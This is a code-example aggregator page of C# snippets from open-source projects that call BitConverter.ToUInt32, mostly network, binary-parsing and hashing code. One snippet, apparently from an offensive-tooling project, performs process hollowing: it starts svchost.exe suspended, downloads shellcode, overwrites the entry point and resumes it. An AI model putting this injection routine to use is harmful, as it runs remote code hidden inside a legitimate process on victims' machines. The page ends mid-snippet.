System.BitConverter.ToUInt32(byte[], int)

Here are the examples of the csharp api System.BitConverter.ToUInt32(byte[], int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1391 Examples 7

19 View Source File : RequestBridge.cs
License : MIT License
Project Creator : 0ffffffffh

private static void WaitIo(object obj)
        {
            uint totalBytes;
            int readLen = 0;
            byte[] buffer = new byte[32 * 1024];
            

            NamedPipeServerStream nps = (NamedPipeServerStream)obj;
            RequestObject reqObj;

            Log.Verbose("Thread#{0} waiting for available incoming data", 
                Thread.CurrentThread.ManagedThreadId);

            if (nps.Read(buffer, 0, 4) > 0)
            {
                totalBytes = BitConverter.ToUInt32(buffer, 0);
                
                readLen = nps.Read(buffer, 0, buffer.Length);
                
                reqObj = new RequestObject(nps, buffer, readLen);

                if (!reqObj.IsEnqueued)
                    reqObj = null;
            }
            else
            {
                nps.Disconnect();
                nps.Close();
                nps.Dispose();
                nps = null;
            }

            buffer = null;
        }

19 View Source File : TCPUDPServer.cs
License : MIT License
Project Creator : 0x0ade

protected virtual void UDPReadLoop(int idx, bool send) {
            try {
                using MemoryStream stream = new();
                using CelesteNetBinaryReader reader = new(Server.Data, null, stream);
                while (Server.IsAlive && UDPs?[idx] != null) {
                    IPEndPoint? remote = null;
                    byte[] raw;
                    try {
                        raw = UDPs[idx].Receive(ref remote);
                    } catch (SocketException) {
                        continue;
                    }

                    if (remote == null)
                        continue;

                    if (!UDPMap.TryGetValue(remote, out CelesteNetTCPUDPConnection? con)) {
                        if (raw.Length == 4) {
                            UDPPendingKey key = new() {
                                IPHash = remote.Address.GetHashCode(),
                                Token = BitConverter.ToUInt32(raw, 0)
                            };
                            if (UDPPending.TryRemove(key, out con)) {
                                Logger.Log(LogLevel.CRI, "tcpudp", $"New UDP connection on thread {idx}: {remote}");
                                con.OnDisconnect -= RemoveUDPPending;

                                if (send) {
                                    con.UDP = UDPs[idx];
                                    con.UDPLocalEndPoint = (IPEndPoint?) UDPs[idx].Client.LocalEndPoint;
                                    con.UDPRemoteEndPoint = remote;
                                    UDPMap[con.UDPRemoteEndPoint] = con;
                                }

                                con.OnDisconnect += RemoveUDPMap;
                                continue;
                            }
                        }

                        if (con == null)
                            continue;
                    }

                    try {
                        reader.Strings = con.UDPQueue.Strings;

                        stream.Seek(0, SeekOrigin.Begin);
                        stream.Write(raw, 0, raw.Length);

                        stream.Seek(0, SeekOrigin.Begin);
                        Server.Data.Handle(con, Server.Data.Read(reader));
                    } catch (Exception e) {
                        Logger.Log(LogLevel.CRI, "tcpudp", $"Failed handling UDP data on thread {idx}, {raw.Length} bytes:\n{con}\n{e}");
                        // Sometimes we receive garbage via UDP. Oh well...
                        Handle(con, new DataTCPOnlyDowngrade());
                    }
                }

            } catch (ThreadAbortException) {

            } catch (Exception e) {
                Logger.Log(LogLevel.CRI, "tcpudp", $"Failed waiting for UDP data on thread {idx}:\n{e}");
                Server.Dispose();
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu

static int process_hollowing(string location, int encryption, string preplacedword)
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            if (res == false)
            {
                Console.WriteLine("[!] Error creating svchosts.exe");
                return -1;
            }
            PROCESS_BASIC_INFORMATION pib = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;

            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref pib, (uint)(UIntPtr.Size * 6), ref tmp);

            IntPtr PointerToPE = (IntPtr)((Int64)pib.PebBaseAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];

            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, PointerToPE, addrBuf, addrBuf.Length, out nRead);
            IntPtr SvcHostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, SvcHostBase, data, data.Length, out nRead);

            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)SvcHostBase);

            // Get shellcode bytes from localtion
            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead);
            ResumeThread(pi.hThread);
            return 0;
        }

19 View Source File : RandomHelper.cs
License : MIT License
Project Creator : 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d= BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 40);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    string n = RandomHelper.RandomValue<string>(false);
                    while(dt.Columns.Contains(n))
                        n = RandomHelper.RandomValue<string>(false);
                    dt.Columns.Add(n, typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                       

                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 View Source File : RandomHelper.cs
License : MIT License
Project Creator : 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d = BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 28);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    dt.Columns.Add(RandomHelper.RandomValue<string>(false), typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 View Source File : EndianBinaryReader.cs
License : MIT License
Project Creator : 91Act

public override uint ReadUInt32()
        {
            if (endian == EndianType.BigEndian)
            {
                a32 = ReadBytes(4);
                Array.Reverse(a32);
                return BitConverter.ToUInt32(a32, 0);
            }
            return base.ReadUInt32();
        }

19 View Source File : NetworkBitConverter.cs
License : MIT License
Project Creator : a1q123456

public static uint ToUInt32(Span<byte> buffer, bool littleEndian = false)
        {
            if (!littleEndian)
            {
                buffer.Slice(0, sizeof(uint)).Reverse();
            }
            return BitConverter.ToUInt32(buffer);
        }

19 View Source File : NetworkBitConverter.cs
License : MIT License
Project Creator : a1q123456

public static uint ToUInt24(ReadOnlySpan<byte> buffer, bool littleEndian = false)
        {
            using (var owner = _memoryPool.Rent(4))
            {
                var memory = owner.Memory.Slice(0, 4);
                memory.Span.Clear();
                buffer.CopyTo(memory.Span.Slice(1));
                if (!littleEndian)
                {
                    memory.Span.Reverse();
                }

                return BitConverter.ToUInt32(memory.Span);
            }
        }

19 View Source File : Proc.cs
License : Apache License 2.0
Project Creator : AantCoder

public static string ProcessorId()
        {
            byte[] sn = new byte[8];

            if (!ExecuteCode(ref sn))
                return "ND";

            return string.Format("{0}{1}", BitConverter.ToUInt32(sn, 4).ToString("X8"), BitConverter.ToUInt32(sn, 0).ToString("X8"));
        }

19 View Source File : GltfConversions.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

private static int GetDiscreteElement(byte[] data, int offset, GltfComponentType type)
        {
            switch (type)
            {
                case GltfComponentType.Byte:
                    return Convert.ToSByte(data[offset]);
                case GltfComponentType.UnsignedByte:
                    return data[offset];
                case GltfComponentType.Short:
                    return BitConverter.ToInt16(data, offset);
                case GltfComponentType.UnsignedShort:
                    return BitConverter.ToUInt16(data, offset);
                case GltfComponentType.UnsignedInt:
                    return (int)BitConverter.ToUInt32(data, offset);
                default:
                    throw new Exception($"Unsupported type preplaceded in: {type}");
            }
        }

19 View Source File : GltfConversions.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

private static uint GetDiscreteUnsignedElement(byte[] data, int offset, GltfComponentType type)
        {
            switch (type)
            {
                case GltfComponentType.Byte:
                    return (uint)Convert.ToSByte(data[offset]);
                case GltfComponentType.UnsignedByte:
                    return data[offset];
                case GltfComponentType.Short:
                    return (uint)BitConverter.ToInt16(data, offset);
                case GltfComponentType.UnsignedShort:
                    return BitConverter.ToUInt16(data, offset);
                case GltfComponentType.UnsignedInt:
                    return BitConverter.ToUInt32(data, offset);
                default:
                    throw new Exception($"Unsupported type preplaceded in: {type}");
            }
        }

19 View Source File : GltfUtility.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

public static GltfObject GetGltfObjectFromGlb(byte[] glbData)
        {
            const int stride = sizeof(uint);

            var magicNumber = BitConverter.ToUInt32(glbData, 0);
            var version = BitConverter.ToUInt32(glbData, stride);
            var length = BitConverter.ToUInt32(glbData, stride * 2);

            if (magicNumber != GltfMagicNumber)
            {
                Debug.LogError("File is not a glb object!");
                return null;
            }

            if (version != 2)
            {
                Debug.LogError("Glb file version mismatch! Glb must use version 2");
                return null;
            }

            if (length != glbData.Length)
            {
                Debug.LogError("Glb file size does not match the glb header defined size");
                return null;
            }

            var chunk0Length = (int)BitConverter.ToUInt32(glbData, stride * 3);
            var chunk0Type = BitConverter.ToUInt32(glbData, stride * 4);

            if (chunk0Type != (ulong)GltfChunkType.Json)
            {
                Debug.LogError("Expected chunk 0 to be Json data!");
                return null;
            }

            var jsonChunk = Encoding.ASCII.GetString(glbData, stride * 5, chunk0Length);
            var gltfObject = GetGltfObjectFromJson(jsonChunk);
            var chunk1Length = (int)BitConverter.ToUInt32(glbData, stride * 5 + chunk0Length);
            var chunk1Type = BitConverter.ToUInt32(glbData, stride * 6 + chunk0Length);

            if (chunk1Type != (ulong)GltfChunkType.BIN)
            {
                Debug.LogError("Expected chunk 1 to be BIN data!");
                return null;
            }

            // Per the spec, "byte length of BIN chunk could be up to 3 bytes bigger than JSON-defined buffer.byteLength to satisfy GLB padding requirements"
            // https://github.com/KhronosGroup/glTF/blob/master/specification/2.0/README.md#glb-stored-buffer
            Debug.replacedert(gltfObject.buffers[0].byteLength <= chunk1Length && gltfObject.buffers[0].byteLength >= chunk1Length - 3, "chunk 1 & buffer 0 length mismatch");

            gltfObject.buffers[0].BufferData = new byte[chunk1Length];
            Array.Copy(glbData, stride * 7 + chunk0Length, gltfObject.buffers[0].BufferData, 0, chunk1Length);

            return gltfObject;
        }

19 View Source File : P2PManager.cs
License : MIT License
Project Creator : absurd-joy

UInt32 ReadUInt32(byte[] buf, ref int offset)
    {
        UInt32 val = BitConverter.ToUInt32(buf, offset);
        offset += sizeof(UInt32);
        return val;
    }

19 View Source File : P2PManager.cs
License : MIT License
Project Creator : absurd-joy

uint UnpackUint32(byte[] buf, ref int offset)
		{
			uint value = BitConverter.ToUInt32(buf, offset);
			offset += 4;
			return value;
		}

19 View Source File : UsageServiceClient.cs
License : MIT License
Project Creator : ABTSoftware

private string GetAuthHeader(string username)
        {
            // Get salt
            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            byte[] four_bytes = new byte[4];
            rng.GetBytes(four_bytes);
            var salt = BitConverter.ToUInt32(four_bytes, 0).ToString();
            // Get timestamp
            string timestamp = DateTime.UtcNow.ToString("o");
            // create signature
            string rawSig = (username ?? "") + timestamp + salt;
            var encoding = new System.Text.UTF8Encoding();
            byte[] keyByte = encoding.GetBytes(secretKey);
            byte[] messageBytes = encoding.GetBytes(rawSig);
            string signature;
            // hash and base64 encode 
            using (var sha256 = new HMACSHA256(keyByte))
            {
                byte[] hashMessage = sha256.ComputeHash(messageBytes);
                signature = Convert.ToBase64String(hashMessage);
            }
            // build auth header
            return timestamp + "," + salt + "," + signature;
        }

19 View Source File : Hash32.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

public static uint Calculate(byte[] data, int length)
        {
            uint checksum = (uint)length << 16;

            for (int i = 0; i < length && i + 4 <= length; i += 4)
                checksum += BitConverter.ToUInt32(data, i);

            int shift = 3;
            int j = (length / 4) * 4;

            while (j < length)
                checksum += (uint)(data[j++] << (8 * shift--));

            return checksum;
        }

19 View Source File : Hash32.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

public static uint Calculate(byte[] data, int offset, int length)
        {
            uint checksum = (uint)length << 16;

            for (int i = 0; i < length && i + 4 <= length; i += 4)
                checksum += BitConverter.ToUInt32(data, offset + i);

            int shift = 3;
            int j = (length / 4) * 4;

            while (j < length)
                checksum += (uint)(data[offset + j++] << (8 * shift--));

            return checksum;
        }

19 View Source File : ISAAC.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

private void Initialize(byte[] keyBytes)
        {
            int i;
            for (i = 0; i < 256; i++)
                mm[i] = randRsl[i] = 0;

            uint[] abcdefgh = new uint[8];
            for (i = 0; i < 8; i++)
                abcdefgh[i] = 0x9E3779B9;

            for (i = 0; i < 4; i++)
                Shuffle(abcdefgh);

            for (i = 0; i < 2; i++)
            {
                int j;
                for (j = 0; j < 256; j += 8)
                {
                    int k;
                    for (k = 0; k < 8; k++)
                        abcdefgh[k] += (i < 1) ? randRsl[j + k] : mm[j + k];

                    Shuffle(abcdefgh);

                    for (k = 0; k < 8; k++)
                        mm[j + k] = abcdefgh[k];
                }
            }

            a = BitConverter.ToUInt32(keyBytes, 0);
            c = b = a;

            IsaacScramble();
        }

19 View Source File : DatReader.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

private static uint GetNextAddress(FileStream stream, int relOffset)
        {
            // The location of the start of the next sector is the first four bytes of the current sector. This should be 0x00000000 if no next sector.
            byte[] nextAddressBytes = new byte[4];

            if (relOffset != 0)
                stream.Seek(relOffset, SeekOrigin.Current); // To be used to back up 4 bytes from the origin at the start

            stream.Read(nextAddressBytes, 0, 4);

            return BitConverter.ToUInt32(nextAddressBytes, 0);
        }

19 View Source File : Deserializer.cs
License : MIT License
Project Creator : ADeltaX

public static uint GetUInt32(byte[] data, int index = 0) 
            => BitConverter.ToUInt32(data, index);

19 View Source File : Deserializer.cs
License : MIT License
Project Creator : ADeltaX

public static uint GetUInt32(byte[] data, int index = 0)
            => BitConverter.ToUInt32(data, index);

19 View Source File : Extensions.cs
License : MIT License
Project Creator : adrenak

public static uint ToUInt(this byte[] bytes) {
            return BitConverter.ToUInt32(bytes, 0);
        }

19 View Source File : TestKcp.cs
License : Apache License 2.0
Project Creator : advancer68

public void KcpStart()
    {
        //enabled = true;
        kcpClient = new UdpSocket((buff,length) =>
        {
            var rcvtime = kcpUtil.nowTotalMilliseconds;
            var sndtime = BitConverter.ToUInt32(buff, 0);
            var usetime = rcvtime - sndtime;
            pckCntFrmTime += usetime;
            pckCalcCur++;
        });
        kcpClient.Connect(curHost.host, curHost.portKcp);
    }

19 View Source File : kcpUtil.cs
License : Apache License 2.0
Project Creator : advancer68

public static UInt32 ReadUint32(this byte[] self, int startIndx)
    {
        return BitConverter.ToUInt32(self, startIndx);
    }

19 View Source File : ExtensionTests.cs
License : MIT License
Project Creator : AElfProject

[Fact]
        public void NumericExtensions_ToBytes_For_uint()
        {
            uint number = uint.MaxValue - 1;
            var bigEndianBytes = number.ToBytes(true);
            ((int)bigEndianBytes.Last()).ShouldBe(254);
            var numberFromBigEndianBytes = BitConverter.ToUInt32(BitConverter.IsLittleEndian ? bigEndianBytes.Reverse().ToArray() : bigEndianBytes);
            numberFromBigEndianBytes.ShouldBe(number);
            
            var littleEndianBytes = number.ToBytes(false);
            ((int)littleEndianBytes.Last()).ShouldBe(255);
            numberFromBigEndianBytes = BitConverter.ToUInt32(BitConverter.IsLittleEndian ? littleEndianBytes: littleEndianBytes.Reverse().ToArray());
            numberFromBigEndianBytes.ShouldBe(number);
        }

19 View Source File : Form_SteamID64_Editor.cs
License : MIT License
Project Creator : Aemony

private void ReadSteamID()
        {
            OpenFileDialog dlg = new OpenFileDialog();
            dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata";
            dlg.Filter = "Data files (*.dat)|*.dat";

            if (dlg.ShowDialog() == DialogResult.OK)
            {
                filePath = dlg.FileName;

                if (filePath.Contains("SlotData"))
                {
                    // SlotData files stores the SteamID64 in offset 04-11, GameData and SystemData files stores the SteamID64 in offset 00-07
                    fileOffset = 4;
                }
                else
                {
                    fileOffset = 0;
                }
                
                try {
                    using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
                    {
                        stream.Position = fileOffset;
                        stream.Read(byteSteamID64, 0, 8);
                    }


                    // Convert to proper IDs.
                    // SteamID64 is stored as Little-Endian in the files, but as Intel is little-endian as well no reversal is needed
